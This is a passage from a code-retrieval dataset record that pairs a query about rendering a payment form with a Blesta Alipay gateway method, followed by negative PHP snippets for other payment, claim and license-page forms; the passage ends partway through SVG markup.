($um->validate()) {\n $metaBatchInsert[] = $attrs;\n } else {\n throw new Exception('Failed to save invalid meta key: ' . $db_key . ' ' . json_encode($um->getFirstErrors(),\n JSON_PRETTY_PRINT));\n }\n// $um->insert();\n break;\n case self::META_MODIFIED:\n Meta::updateAll(\n [\n 'meta_value' => (string)$this->_meta->$key\n ],\n [\n 'owner' => $owner,\n 'owner_id' => $owner_id,\n 'meta_key' => $db_key\n ]);\n break;\n case self::META_UNSET:\n Meta::deleteAll([\n 'owner' => $owner,\n 'owner_id' => $owner_id,\n 'meta_key' => $db_key\n ]);\n break;\n }\n }\n\n if (!empty($metaBatchInsert)) {\n Meta::getDb()->createCommand()->batchInsert(Meta::tableName(),\n ['owner', 'owner_id', 'meta_key', 'meta_value'], $metaBatchInsert)->execute();\n }\n\n $this->_metaModified = [];\n\n $this->trigger(self::EVENT_META_SAVE);\n }", "public function syncMetadata() {}", "public function setMeta($strName, $strContent) {\n\t\t\t$this->arMeta[$strName] = $strContent; \n\t\t}", "public function metaProvider()\n {\n return [[new \\Urbania\\AppleNews\\Api\\Objects\\Meta()]];\n }" ]
[ "0.6649828", "0.64985114", "0.6410198", "0.63966197", "0.63807005", "0.63766277", "0.63766277", "0.6232787", "0.59565955", "0.5900994", "0.5884754", "0.5884619", "0.5872514", "0.58574915", "0.58542675", "0.58484244", "0.5787259", "0.57475007", "0.5735727", "0.57352954", "0.5695641", "0.5675746", "0.56739765", "0.5662065", "0.56611294", "0.565609", "0.5654757", "0.5607488", "0.5578088", "0.5574461", "0.5569736", "0.5564048", "0.5553822", "0.5546306", "0.5545845", "0.5541024", "0.55334675", "0.55084336", "0.5498671", "0.54838973", "0.545554", "0.5444413", "0.5405191", "0.53972566", "0.5384687", "0.5380482", "0.53700227", "0.5335672", "0.5329283", "0.53282946", "0.53162235", "0.5311504", "0.5304363", "0.5288917", "0.5279382", "0.52697194", "0.5253487", "0.52521724", "0.52509373", "0.5240404", "0.5231305", "0.5226079", "0.52214104", "0.5220842", "0.52108556", "0.520048", "0.5198861", "0.51986873", "0.5195778", "0.51945126", "0.518735", "0.51856285", "0.5178013", "0.51770675", "0.51718426", "0.5167503", "0.5166324", "0.5163969", "0.5163969", "0.51638466", "0.514167", "0.5131666", "0.51186", "0.51123095", "0.51108694", "0.51081735", "0.51072717", "0.5099047", "0.50977015", "0.50977015", "0.50977015", "0.50977015", "0.50977015", "0.50962585", "0.50955886", "0.508044", "0.50802624", "0.50753146", "0.5068766", "0.5059475" ]
0.5876482
12
Returns all HTML markup required to render an authorization and capture payment form
public function buildProcess(array $contact_info, $amount, array $invoice_amounts=null, array $options=null) { $this->view = $this->makeView("process", "default", str_replace(ROOTWEBDIR, "", dirname(__FILE__) . DS)); // Load the helpers required for this view Loader::loadHelpers($this, array("Form", "Html")); $fields = array( // "service" => "trade_create_by_buyer", //双接口,注释下行 "service" => "create_direct_pay_by_user", "partner" => $this->ifSet($this->meta['pid']), "_input_charset" => "utf-8", 'notify_url' => Configure::get("Blesta.gw_callback_url") . Configure::get("Blesta.company_id") . "/alipay/?client_id=".$this->ifSet($contact_info['client_id']), "return_url" => $this->ifSet($options['return_url']), "out_trade_no" => $this->ifSet($contact_info['client_id']) . "-" . time(), "subject" => str_replace(' ', '', $this->ifSet($options['description']) ), "payment_type" => "1", // "logistics_type" => "EXPRESS",//双接口 // "logistics_fee" => "0.00",//双接口 // "logistics_payment" => "SELLER_PAY",//双接口 "seller_email" => $this->ifSet($this->meta['email']), // "price" => round($amount, 2), //双接口,注释下行 "total_fee" => round($amount, 2), // "quantity" => "1",//双接口 // "receive_name" => "--",//双接口 // "receive_address" => "--",//双接口 // "receive_zip" => "0",//双接口 // "receive_phone" => "000000",//双接口 ); if (isset($invoice_amounts) && is_array($invoice_amounts)) $fields['body'] = $this->serializeInvoices($invoice_amounts); $this->view->set("post_to", $this->alipay_api); $this->view->set("fields", $this->sign($fields)); return $this->view->fetch(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function tower_claims_form() {\n ob_start();\n include('template-parts/form-claim.php');\n $html = ob_get_contents();\n ob_end_clean();\n return $html;\n}", "public function payment_fields() {\n echo '<p><strong>Pay securely using your credit card</strong> <img src=\"' . plugins_url() . '/woocommerce-pay-fabric/images/visa.svg\" alt=\"Visa\" class=\"card-img\" width=\"32\"> <img src=\"' . plugins_url() . '/woocommerce-pay-fabric/images/mastercard.svg\" alt=\"Mastercard\" class=\"card-img\" width=\"32\"> <img src=\"' . plugins_url() . '/woocommerce-pay-fabric/images/discover.svg\" alt=\"Discover\" class=\"card-img\" width=\"32\"> <img src=\"' . plugins_url() . '/woocommerce-pay-fabric/images/amex.svg\" alt=\"Amex\" class=\"card-img\" width=\"32\"></p>';\n // Trying render payment form\n // Call orginal payment the Woocommerce\n $this->form();\n }", "protected function _toHtml() \n {\n $zaakpay = Mage::getModel('zaakpay/transact');\n $fields = $zaakpay->getCheckoutFormFields();\n $form = '<form id=\"zaakpay_checkout\" method=\"POST\" action=\"' . $zaakpay->getZaakpayTransactAction() . '\">';\n foreach($fields as $key => $value) {\n if ($key == 'returnUrl') {\n\t\t\t\t$form .= '<input type=\"hidden\" name=\"'.$key.'\" value=\"'.Checksum::sanitizedURL($value).'\" />'.\"\\n\";\n\t\t\t} else {\n\t\t\t\t$form .= '<input type=\"hidden\" name=\"'.$key.'\" value=\"'.Checksum::sanitizedParam($value).'\" />'.\"\\n\";\n\t\t\t}\n }\n $form .= '</form>';\n $html = '<html><body>';\n $html .= $this->__('You will be redirected to the Zaakpay website in a few seconds.');\n $html .= $form;\n $html.= '<script type=\"text/javascript\">document.getElementById(\"zaakpay_checkout\").submit();</script>';\n $html.= '</body></html>';\n return $html;\n }", "public function render($attrs=array())\n\t{\n\t\t// make webpage language\n\t\t$data = $this->build($attrs);\n\t\treturn $this->_makeFormPayment($data);\n\t}", "public function custom_password_protected_form() {\n\t\tob_start();\n\t\tinclude( locate_template( 'partials/password-protection-form.php' ) );\n\t\treturn ob_get_clean();\n\t}", "function showContent()\n {\n $this->elementStart('form', array('method' => 'post',\n 'id' => 'form_openidtrust',\n 'class' => 'form_settings',\n 'action' => common_local_url('openidtrust')));\n $this->elementStart('fieldset');\n // TRANS: Button text to continue OpenID identity verification.\n $this->submit('allow', _m('BUTTON','Continue'));\n // TRANS: Button text to cancel OpenID identity verification.\n $this->submit('deny', _m('BUTTON','Cancel'));\n\n $this->elementEnd('fieldset');\n $this->elementEnd('form');\n }", "public function paymentForm ()\n {\n /**\n * Ist ein User eingeloggt?\n */\n if (User::isLoggedIn()) {\n /**\n * Eingeloggten User aus der Datenbank abfragen.\n */\n $user = User::getLoggedInUser();\n\n /**\n * Alle Zahlungsmethoden des eingeloggten Users abfragen.\n */\n $payments = Payment::findByUser($user->id);\n\n /**\n * Potentielle Validierungsfehler aus der Session holen\n */\n $errors = Session::get('errors', [], true);\n\n /**\n * View laden und abgefragte Zahlungsmethoden und etwaige Fehler übergeben.\n */\n View::load('payment', [\n 'payments' => $payments,\n 'errors' => $errors\n ]);\n } else {\n /**\n * Ist kein User eingeloggt, leiten wir auf den Login weiter.\n */\n header(\"Location: login\");\n }\n }", "function print_direct_payment_form($amount = 0, $description = '', $currency = '', $customencrypted = '', $returnurl = '')\n {\n global $ilance, $ilconfig, $headinclude;\n\t\t$ts = time();\n\t\t$sess_id = md5(rand());\n\t\t$_SESSION['ilancedata']['user']['ts'] = $ts;\n\t\t$order_id = $customencrypted;\n\t\t$amount = str_replace(array(',', '.'), '', sprintf(\"%01.2f\", $ilance->currency->string_to_number($amount)));\n\t\t$sig = md5($ilconfig['platnosci_pos_id'] . $sess_id . $ilconfig['platnosci_pos_auth_key'] . $amount . $description . $order_id . $_SESSION['ilancedata']['user']['firstname'] . $_SESSION['ilancedata']['user']['lastname'] . $_SESSION['ilancedata']['user']['address'] . $_SESSION['ilancedata']['user']['city'] . $_SESSION['ilancedata']['user']['postalzip'] . $_SESSION['ilancedata']['user']['email'] . IPADDRESS . $ts . $ilconfig['platnosci_pos_key1']);\n\t\t$html = '<form action=\"https://www.platnosci.pl/paygw/ISO/NewPayment/xml\" method=\"POST\" name=\"payform\">\n<input type=\"hidden\" name=\"first_name\" value=\"' . $_SESSION['ilancedata']['user']['firstname'] . '\">\n<input type=\"hidden\" name=\"last_name\" value=\"' . $_SESSION['ilancedata']['user']['lastname'] . '\">\n<input type=\"hidden\" name=\"email\" value=\"' . $_SESSION['ilancedata']['user']['email'] . '\">\n<input type=\"hidden\" name=\"street\" value=\"' . $_SESSION['ilancedata']['user']['address'] . '\">\n<input type=\"hidden\" name=\"city\" value=\"' . $_SESSION['ilancedata']['user']['city'] . '\">\n<input type=\"hidden\" name=\"post_code\" value=\"' . $_SESSION['ilancedata']['user']['postalzip'] . '\">\n<input type=\"hidden\" name=\"order_id\" value=\"' . $customencrypted . '\">\n<input type=\"hidden\" name=\"pos_id\" value=\"' . $ilconfig['platnosci_pos_id'] . '\">\n<input type=\"hidden\" name=\"pos_auth_key\" value=\"' . $ilconfig['platnosci_pos_auth_key'] . '\">\n<input type=\"hidden\" name=\"session_id\" value=\"' . $sess_id . '\">\n<input type=\"hidden\" name=\"amount\" value=\"' . $amount . '\">\n<input type=\"hidden\" name=\"desc\" value=\"' . $description . '\">\n<input type=\"hidden\" name=\"client_ip\" value=\"' . IPADDRESS . '\">\n<input type=\"hidden\" name=\"js\" value=\"1\">';\n\t\t\t\t/*\n\t\t\t\t * <input type=\"hidden\" name=\"ts\" value=\"'.$ts.'\">\n\t\t\t\t<input type=\"hidden\" name=\"sig\" value=\"'.$sig.'\">\n\t\t\t\t */\n\t\t\t\t$headinclude .= '<script type=\"text/javascript\">\n<!--\ndocument.forms[\\'payform\\'].js.value=1;\n-->\n</script>';\n return $html; \n }", "public function contentHTML() {\n\n\t\t// Check if the form has been submitted\n\t\tif(isset( $_POST['register-account'])) {\n\n\t\t\t// Save the form data so PHP can give it back later on\n\t\t\t$this->username = trim($_POST['username']);\n\n\n\t\t\t// Process the form\n\t\t\t$this->processNewAccount();\n\n\t\t\t// If there are no errors at all, display success\n\t\t\tif ($this->usernameErrorMsg == '' && $this->passwordErrorMsg == '') {\n\t\t\t\techo 'Congrats on your new account';\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t}\n\t\t\n\t\t// Include the intro to the reg page\n\t\tinclude 'templates/registration/introRegistration.php';\n\n\t\t// Show the registration Form\n\t\t$this->showRegistrationForm();\n\t}", "public function render_licenses_page() {\n\n\t\t$license_key \t= $this->get_license_key();\n\t\t$status \t\t= $this->get_license_status();\n\t\t$title \t\t\t= sprintf( __( '%s License', $this->text_domain ), $this->product_name );\n\n\t\t?>\n\t\t<div class=\"eael-license-wrapper\">\n\t\t\t<form method=\"post\" action=\"options.php\" id=\"eael-license-form\">\n\n\t\t\t\t<?php settings_fields( $this->get_settings_page_slug() ); ?>\n\n \t\t\t\t<?php if ( $status == false || $status !== 'valid' ) : ?>\n\t \t\t\t\t<div class=\"eael-lockscreen\">\n\t \t\t\t\t<div class=\"eael-lockscreen-icons\">\n\t\t\t\t\t\t\t<svg height=\"64px\" version=\"1.1\" viewBox=\"0 0 32 32\" width=\"64px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><title/><desc/><defs/><g fill=\"none\" fill-rule=\"evenodd\" id=\"Page-1\" stroke=\"none\" stroke-width=\"1\"><g fill=\"#e74c3c\" id=\"icon-114-lock\"><path d=\"M16,21.9146472 L16,24.5089948 C16,24.7801695 16.2319336,25 16.5,25 C16.7761424,25 17,24.7721195 17,24.5089948 L17,21.9146472 C17.5825962,21.708729 18,21.1531095 18,20.5 C18,19.6715728 17.3284272,19 16.5,19 C15.6715728,19 15,19.6715728 15,20.5 C15,21.1531095 15.4174038,21.708729 16,21.9146472 L16,21.9146472 L16,21.9146472 Z M15,22.5001831 L15,24.4983244 C15,25.3276769 15.6657972,26 16.5,26 C17.3284271,26 18,25.3288106 18,24.4983244 L18,22.5001831 C18.6072234,22.04408 19,21.317909 19,20.5 C19,19.1192881 17.8807119,18 16.5,18 C15.1192881,18 14,19.1192881 14,20.5 C14,21.317909 14.3927766,22.04408 15,22.5001831 L15,22.5001831 L15,22.5001831 Z M9,14.0000125 L9,10.499235 C9,6.35670485 12.3578644,3 16.5,3 C20.6337072,3 24,6.35752188 24,10.499235 L24,14.0000125 C25.6591471,14.0047488 27,15.3503174 27,17.0094776 L27,26.9905224 C27,28.6633689 25.6529197,30 23.991212,30 L9.00878799,30 C7.34559019,30 6,28.652611 6,26.9905224 L6,17.0094776 C6,15.339581 7.34233349,14.0047152 9,14.0000125 L9,14.0000125 L9,14.0000125 Z M10,14 L10,10.4934269 C10,6.90817171 12.9101491,4 16.5,4 C20.0825462,4 23,6.90720623 23,10.4934269 L23,14 L22,14 L22,10.5090731 C22,7.46649603 19.5313853,5 16.5,5 C13.4624339,5 11,7.46140289 11,10.5090731 L11,14 L10,14 L10,14 Z M12,14 L12,10.5008537 C12,8.0092478 14.0147186,6 16.5,6 C18.9802243,6 21,8.01510082 21,10.5008537 L21,14 L12,14 L12,14 L12,14 Z M8.99742191,15 C7.89427625,15 7,15.8970601 7,17.0058587 L7,26.9941413 C7,28.1019465 7.89092539,29 8.99742191,29 L24.0025781,29 C25.1057238,29 26,28.1029399 26,26.9941413 L26,17.0058587 C26,15.8980535 25.1090746,15 24.0025781,15 L8.99742191,15 L8.99742191,15 Z\" id=\"lock\"/></g></g></svg>\n\n\t\t\t\t\t\t\t<svg enable-background=\"new 0 0 32 32\" height=\"64px\" id=\"arrow-right\" version=\"1.1\" viewBox=\"0 0 32 32\" width=\"64px\" xml:space=\"preserve\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><path d=\"M1.06,29.897c0.011,0,0.023,0,0.034-0.001c0.506-0.017,0.825-0.409,0.868-0.913 c0.034-0.371,1.03-9.347,15.039-9.337l0.031,5.739c0,0.387,0.223,0.739,0.573,0.904c0.347,0.166,0.764,0.115,1.061-0.132 l12.968-10.743c0.232-0.19,0.366-0.475,0.365-0.774c-0.001-0.3-0.136-0.584-0.368-0.773L18.664,3.224 c-0.299-0.244-0.712-0.291-1.06-0.128c-0.349,0.166-0.571,0.518-0.571,0.903l-0.031,5.613c-5.812,0.185-10.312,2.054-13.23,5.468 c-4.748,5.556-3.688,13.63-3.639,13.966C0.207,29.536,0.566,29.897,1.06,29.897z M18.032,17.63c-0.001,0-0.002,0-0.002,0 C8.023,17.636,4.199,21.015,2.016,23.999c0.319-2.391,1.252-5.272,3.281-7.626c2.698-3.128,7.045-4.776,12.735-4.776 c0.553,0,1-0.447,1-1V6.104l10.389,8.542l-10.389,8.622V18.63c0-0.266-0.105-0.521-0.294-0.708 C18.551,17.735,18.297,17.63,18.032,17.63z\" fill=\"#888\" id=\"Arrow_Right_2_\"/><g/><g/><g/><g/><g/><g/></svg>\n\n\t\t\t\t\t\t\t<svg height=\"64px\" version=\"1.1\" viewBox=\"0 0 32 32\" width=\"64px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><title/><desc/><defs/><g fill=\"none\" fill-rule=\"evenodd\" id=\"Page-1\" stroke=\"none\" stroke-width=\"1\"><g fill=\"#157EFB\" id=\"icon-24-key\"><path d=\"M18.5324038,19.4675962 L14,24 L11,24 L11,27 L8,27 L8,30 L3,30 L3,25 L13.5324038,14.4675962 C13.1881566,13.5437212 13,12.5438338 13,11.5 C13,6.80557939 16.8055794,3 21.5,3 C26.1944206,3 30,6.80557939 30,11.5 C30,16.1944206 26.1944206,20 21.5,20 C20.4561662,20 19.4562788,19.8118434 18.5324038,19.4675962 L18.5324038,19.4675962 L18.5324038,19.4675962 Z M13.9987625,15.5012375 L4,25.5 L4,29 L7,29 L7,26 L10,26 L10,23 L13.5,23 L17.4987625,19.0012375 C16.0139957,18.2075914 14.7924086,16.9860043 13.9987625,15.5012375 L13.9987625,15.5012375 L13.9987625,15.5012375 Z M29,11.5 C29,7.35786417 25.6421358,4 21.5,4 C17.3578642,4 14,7.35786417 14,11.5 C14,15.6421358 17.3578642,19 21.5,19 C25.6421358,19 29,15.6421358 29,11.5 L29,11.5 L29,11.5 Z M27,9 C27,7.34314567 25.6568543,6 24,6 C22.3431457,6 21,7.34314567 21,9 C21,10.6568543 22.3431457,12 24,12 C25.6568543,12 27,10.6568543 27,9 L27,9 L27,9 Z M26,9 C26,7.89543045 25.1045696,7 24,7 C22.8954304,7 22,7.89543045 22,9 C22,10.1045696 22.8954304,11 24,11 C25.1045696,11 26,10.1045696 26,9 L26,9 L26,9 Z\" id=\"key\"/></g></g></svg>\n\n\t\t\t\t\t\t\t<svg enable-background=\"new 0 0 32 32\" height=\"64px\" id=\"arrow-right\" version=\"1.1\" viewBox=\"0 0 32 32\" width=\"64px\" xml:space=\"preserve\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><path d=\"M1.06,29.897c0.011,0,0.023,0,0.034-0.001c0.506-0.017,0.825-0.409,0.868-0.913 c0.034-0.371,1.03-9.347,15.039-9.337l0.031,5.739c0,0.387,0.223,0.739,0.573,0.904c0.347,0.166,0.764,0.115,1.061-0.132 l12.968-10.743c0.232-0.19,0.366-0.475,0.365-0.774c-0.001-0.3-0.136-0.584-0.368-0.773L18.664,3.224 c-0.299-0.244-0.712-0.291-1.06-0.128c-0.349,0.166-0.571,0.518-0.571,0.903l-0.031,5.613c-5.812,0.185-10.312,2.054-13.23,5.468 c-4.748,5.556-3.688,13.63-3.639,13.966C0.207,29.536,0.566,29.897,1.06,29.897z M18.032,17.63c-0.001,0-0.002,0-0.002,0 C8.023,17.636,4.199,21.015,2.016,23.999c0.319-2.391,1.252-5.272,3.281-7.626c2.698-3.128,7.045-4.776,12.735-4.776 c0.553,0,1-0.447,1-1V6.104l10.389,8.542l-10.389,8.622V18.63c0-0.266-0.105-0.521-0.294-0.708 C18.551,17.735,18.297,17.63,18.032,17.63z\" fill=\"#888\" id=\"Arrow_Right_2_\"/><g/><g/><g/><g/><g/><g/></svg>\n\n\t\t\t\t\t\t\t<svg height=\"64px\" version=\"1.1\" viewBox=\"0 0 32 32\" width=\"64px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><title/><desc/><defs/><g fill=\"none\" fill-rule=\"evenodd\" id=\"Page-1\" stroke=\"none\" stroke-width=\"1\"><g fill=\"#2ecc71\" id=\"icon-116-lock-open\"><path d=\"M24,9.5 L24,8.499235 C24,4.35752188 20.6337072,1 16.5,1 C12.3578644,1 9,4.35670485 9,8.499235 L9,16.0000125 L9,16.0000125 C7.34233349,16.0047152 6,17.339581 6,19.0094776 L6,28.9905224 C6,30.652611 7.34559019,32 9.00878799,32 L23.991212,32 C25.6529197,32 27,30.6633689 27,28.9905224 L27,19.0094776 C27,17.3503174 25.6591471,16.0047488 24,16 L23.4863586,16 L12.0274777,16 C12.0093222,15.8360041 12,15.6693524 12,15.5005291 L12,8.49947095 C12,6.01021019 14.0147186,4 16.5,4 C18.9802243,4 21,6.01448176 21,8.49947095 L21,9.5 L21,12.4998351 C21,13.3283533 21.6657972,14 22.5,14 C23.3284271,14 24,13.3256778 24,12.4998351 L24,9.5 L24,9.5 L24,9.5 Z M23,8.49342686 C23,4.90720623 20.0825462,2 16.5,2 C12.9101491,2 10,4.90817171 10,8.49342686 L10,15.5065731 C10,15.6725774 10.0062513,15.8371266 10.0185304,16 L11,16 L11,8.50907306 C11,5.46140289 13.4624339,3 16.5,3 C19.5313853,3 22,5.46649603 22,8.50907306 L22,12.5022333 C22,12.7771423 22.2319336,13 22.5,13 L22.5,13 C22.7761424,13 23,12.7849426 23,12.5095215 L23,9 L23,8.49342686 L23,8.49342686 Z M16,23.9146472 L16,26.5089948 C16,26.7801695 16.2319336,27 16.5,27 C16.7761424,27 17,26.7721195 17,26.5089948 L17,23.9146472 C17.5825962,23.708729 18,23.1531095 18,22.5 C18,21.6715728 17.3284272,21 16.5,21 C15.6715728,21 15,21.6715728 15,22.5 C15,23.1531095 15.4174038,23.708729 16,23.9146472 L16,23.9146472 L16,23.9146472 Z M15,24.5001831 L15,26.4983244 C15,27.3276769 15.6657972,28 16.5,28 C17.3284271,28 18,27.3288106 18,26.4983244 L18,24.5001831 C18.6072234,24.04408 19,23.317909 19,22.5 C19,21.1192881 17.8807119,20 16.5,20 C15.1192881,20 14,21.1192881 14,22.5 C14,23.317909 14.3927766,24.04408 15,24.5001831 L15,24.5001831 L15,24.5001831 Z M8.99742191,17 C7.89427625,17 7,17.8970601 7,19.0058587 L7,28.9941413 C7,30.1019465 7.89092539,31 8.99742191,31 L24.0025781,31 C25.1057238,31 26,30.1029399 26,28.9941413 L26,19.0058587 C26,17.8980535 25.1090746,17 24.0025781,17 L8.99742191,17 L8.99742191,17 Z\" id=\"-ock-open\"/></g></g></svg>\n\t \t\t\t\t</div>\t\n \t\t\t\t\t<h1 class=\"eael-validation-title\">Just one more step to go!</h1>\t\n\t \t\t\t</div>\n \t\t\t\t<div class=\"eael-license-instruction\">\n\t <p><?php _e( 'Enter your license key here, to activate <strong>Essential Addons for Elementor</strong>, and get automatic updates and premium support.', $this->text_domain ); ?></p>\n\t <p><?php printf( __( 'Visit the <a href=\"%s\" target=\"_blank\">Validation Guide</a> for help.', $this->text_domain ), 'https://essential-addons.com/elementor/docs/getting-started/validating-license/' ); ?></p>\n\n\t <ol>\n\t <li><?php printf( __( 'Log in to <a href=\"%s\" target=\"_blank\">your account</a> to get your license key.', $this->text_domain ), 'https://wpdeveloper.net/account/' ); ?></li>\n\t <li><?php printf( __( 'If you don\\'t yet have a license key, get <a href=\"%s\" target=\"_blank\">Essential Addons for Elementor now</a>.', $this->text_domain ), 'https://wpdeveloper.net/in/upgrade-essential-addons-elementor' ); ?></li>\n\t <li><?php _e( __( 'Copy the license key from your account and paste it below.', $this->text_domain ) ); ?></li>\n\t <li><?php _e( __( 'Click on <strong>\"Activate License\"</strong> button.', $this->text_domain ) ); ?></li>\n\t </ol>\n \t</div>\n \t\t\t\t<?php endif; ?>\n\n \t\t\t\t<?php if( $status !== false && $status == 'valid' ) { ?>\n \t\t\t\t<div class=\"validated-feature-list\">\n \t\t\t\t\t<div class=\"validated-feature-list-item\">\n \t\t\t\t\t\t\t<div class=\"validated-feature-list-icon\">\n\t\t\t\t\t\t\t\t<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" viewBox=\"0 0 64 64\" version=\"1.1\" fill=\"#2ecc71\">\n\t\t\t\t\t\t\t\t\t<g id=\"surface1\" fill=\"#2ecc71\">\n\t\t\t\t\t\t\t\t\t<path style=\" \" d=\"M 31 2 C 15.011719 2 2 15.011719 2 31 C 2 46.988281 15.011719 60 31 60 C 46.988281 60 60 46.988281 60 31 C 60 15.011719 46.988281 2 31 2 Z M 31 4 C 45.886719 4 58 16.113281 58 31 C 58 45.886719 45.886719 58 31 58 C 16.113281 58 4 45.886719 4 31 C 4 16.113281 16.113281 4 31 4 Z M 30.5625 8.007813 C 24.671875 8.128906 18.960938 10.507813 14.734375 14.734375 C 5.769531 23.703125 5.769531 38.292969 14.734375 47.261719 C 14.929688 47.457031 15.1875 47.554688 15.441406 47.554688 C 15.699219 47.554688 15.957031 47.457031 16.152344 47.261719 C 16.542969 46.871094 16.542969 46.238281 16.152344 45.847656 C 7.960938 37.660156 7.964844 24.339844 16.152344 16.152344 C 20.898438 11.402344 27.699219 9.199219 34.339844 10.265625 C 34.882813 10.355469 35.394531 9.980469 35.484375 9.4375 C 35.574219 8.890625 35.199219 8.375 34.65625 8.289063 C 33.289063 8.070313 31.921875 7.980469 30.5625 8.007813 Z M 38.660156 9.386719 C 38.269531 9.402344 37.910156 9.648438 37.765625 10.035156 C 37.570313 10.554688 37.832031 11.128906 38.351563 11.324219 C 39.0625 11.589844 39.765625 11.894531 40.453125 12.238281 C 40.597656 12.3125 40.75 12.347656 40.902344 12.347656 C 41.265625 12.347656 41.617188 12.148438 41.796875 11.796875 C 42.042969 11.308594 41.84375 10.703125 41.351563 10.453125 C 40.605469 10.078125 39.828125 9.738281 39.050781 9.445313 C 38.921875 9.398438 38.789063 9.382813 38.660156 9.386719 Z M 44.433594 12.675781 C 44.179688 12.707031 43.9375 12.835938 43.765625 13.050781 C 43.425781 13.488281 43.5 14.113281 43.9375 14.453125 C 44.605469 14.976563 45.25 15.550781 45.847656 16.152344 C 54.039063 24.339844 54.039063 37.660156 45.847656 45.847656 C 45.457031 46.242188 45.457031 46.871094 45.847656 47.265625 C 46.042969 47.457031 46.300781 47.558594 46.558594 47.558594 C 46.8125 47.558594 47.070313 47.457031 47.265625 47.265625 C 56.230469 38.296875 56.230469 23.703125 47.265625 14.734375 C 46.605469 14.078125 45.902344 13.453125 45.171875 12.878906 C 44.953125 12.710938 44.683594 12.644531 44.433594 12.675781 Z M 43 22 C 42.746094 22 42.488281 22.097656 42.292969 22.292969 L 28 36.585938 L 20.707031 29.292969 C 20.316406 28.902344 19.683594 28.902344 19.292969 29.292969 C 18.902344 29.683594 18.902344 30.316406 19.292969 30.707031 L 27.292969 38.707031 C 27.488281 38.902344 27.742188 39 28 39 C 28.257813 39 28.511719 38.902344 28.707031 38.707031 L 43.707031 23.707031 C 44.097656 23.316406 44.097656 22.683594 43.707031 22.292969 C 43.511719 22.097656 43.253906 22 43 22 Z M 21.375 47.394531 C 20.984375 47.347656 20.589844 47.527344 20.386719 47.886719 L 19.386719 49.617188 C 19.109375 50.097656 19.273438 50.707031 19.75 50.984375 C 19.90625 51.074219 20.078125 51.117188 20.25 51.117188 C 20.59375 51.117188 20.929688 50.9375 21.113281 50.617188 L 22.113281 48.886719 C 22.390625 48.410156 22.230469 47.796875 21.75 47.519531 C 21.628906 47.453125 21.5 47.410156 21.375 47.394531 Z M 40.625 47.394531 C 40.496094 47.410156 40.367188 47.453125 40.25 47.519531 C 39.769531 47.796875 39.609375 48.410156 39.886719 48.890625 L 40.886719 50.621094 C 41.070313 50.941406 41.40625 51.121094 41.75 51.121094 C 41.921875 51.121094 42.09375 51.074219 42.25 50.984375 C 42.730469 50.707031 42.890625 50.097656 42.613281 49.621094 L 41.613281 47.890625 C 41.40625 47.53125 41.011719 47.347656 40.625 47.394531 Z M 25.816406 49.34375 C 25.429688 49.398438 25.09375 49.675781 24.984375 50.078125 L 24.46875 52.011719 C 24.324219 52.542969 24.644531 53.089844 25.175781 53.234375 C 25.261719 53.257813 25.347656 53.265625 25.4375 53.265625 C 25.875 53.265625 26.28125 52.972656 26.402344 52.527344 L 26.921875 50.59375 C 27.0625 50.0625 26.746094 49.511719 26.214844 49.371094 C 26.082031 49.332031 25.945313 49.328125 25.816406 49.34375 Z M 36.1875 49.34375 C 36.058594 49.328125 35.921875 49.332031 35.785156 49.371094 C 35.253906 49.511719 34.9375 50.0625 35.078125 50.59375 L 35.597656 52.527344 C 35.71875 52.972656 36.121094 53.265625 36.5625 53.265625 C 36.652344 53.265625 36.738281 53.257813 36.824219 53.234375 C 37.355469 53.089844 37.675781 52.542969 37.53125 52.011719 L 37.015625 50.078125 C 36.90625 49.675781 36.570313 49.398438 36.1875 49.34375 Z M 31 50 C 30.445313 50 30 50.445313 30 51 L 30 53 C 30 53.554688 30.445313 54 31 54 C 31.554688 54 32 53.554688 32 53 L 32 51 C 32 50.445313 31.554688 50 31 50 Z \" fill=\"#2ecc71\"/>\n\t\t\t\t\t\t\t\t\t</g>\n\t\t\t\t\t\t\t\t</svg>\n \t\t\t\t\t\t\t</div>\n \t\t\t\t\t\t\t<div class=\"validated-feature-list-content\">\n \t\t\t\t\t\t\t\t<h4>Auto Update</h4>\n \t\t\t\t\t\t\t\t<p>Update the plugin right from your WordPress Dashboard.</p>\n \t\t\t\t\t\t\t</div>\n \t\t\t\t\t</div><!--./feature-list-item-->\n \t\t\t\t\t<div class=\"validated-feature-list-item\">\n \t\t\t\t\t\t<div class=\"validated-feature-list-icon\">\n\t\t\t\t\t\t\t\t<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" viewBox=\"0 0 64 64\" version=\"1.1\" fill=\"#2ecc71\">\n\t\t\t\t\t\t\t\t\t<g id=\"surface1\" fill=\"#2ecc71\">\n\t\t\t\t\t\t\t\t\t<path style=\" \" d=\"M 31 2 C 15.011719 2 2 15.011719 2 31 C 2 46.988281 15.011719 60 31 60 C 46.988281 60 60 46.988281 60 31 C 60 15.011719 46.988281 2 31 2 Z M 31 4 C 45.886719 4 58 16.113281 58 31 C 58 45.886719 45.886719 58 31 58 C 16.113281 58 4 45.886719 4 31 C 4 16.113281 16.113281 4 31 4 Z M 30.5625 8.007813 C 24.671875 8.128906 18.960938 10.507813 14.734375 14.734375 C 5.769531 23.703125 5.769531 38.292969 14.734375 47.261719 C 14.929688 47.457031 15.1875 47.554688 15.441406 47.554688 C 15.699219 47.554688 15.957031 47.457031 16.152344 47.261719 C 16.542969 46.871094 16.542969 46.238281 16.152344 45.847656 C 7.960938 37.660156 7.964844 24.339844 16.152344 16.152344 C 20.898438 11.402344 27.699219 9.199219 34.339844 10.265625 C 34.882813 10.355469 35.394531 9.980469 35.484375 9.4375 C 35.574219 8.890625 35.199219 8.375 34.65625 8.289063 C 33.289063 8.070313 31.921875 7.980469 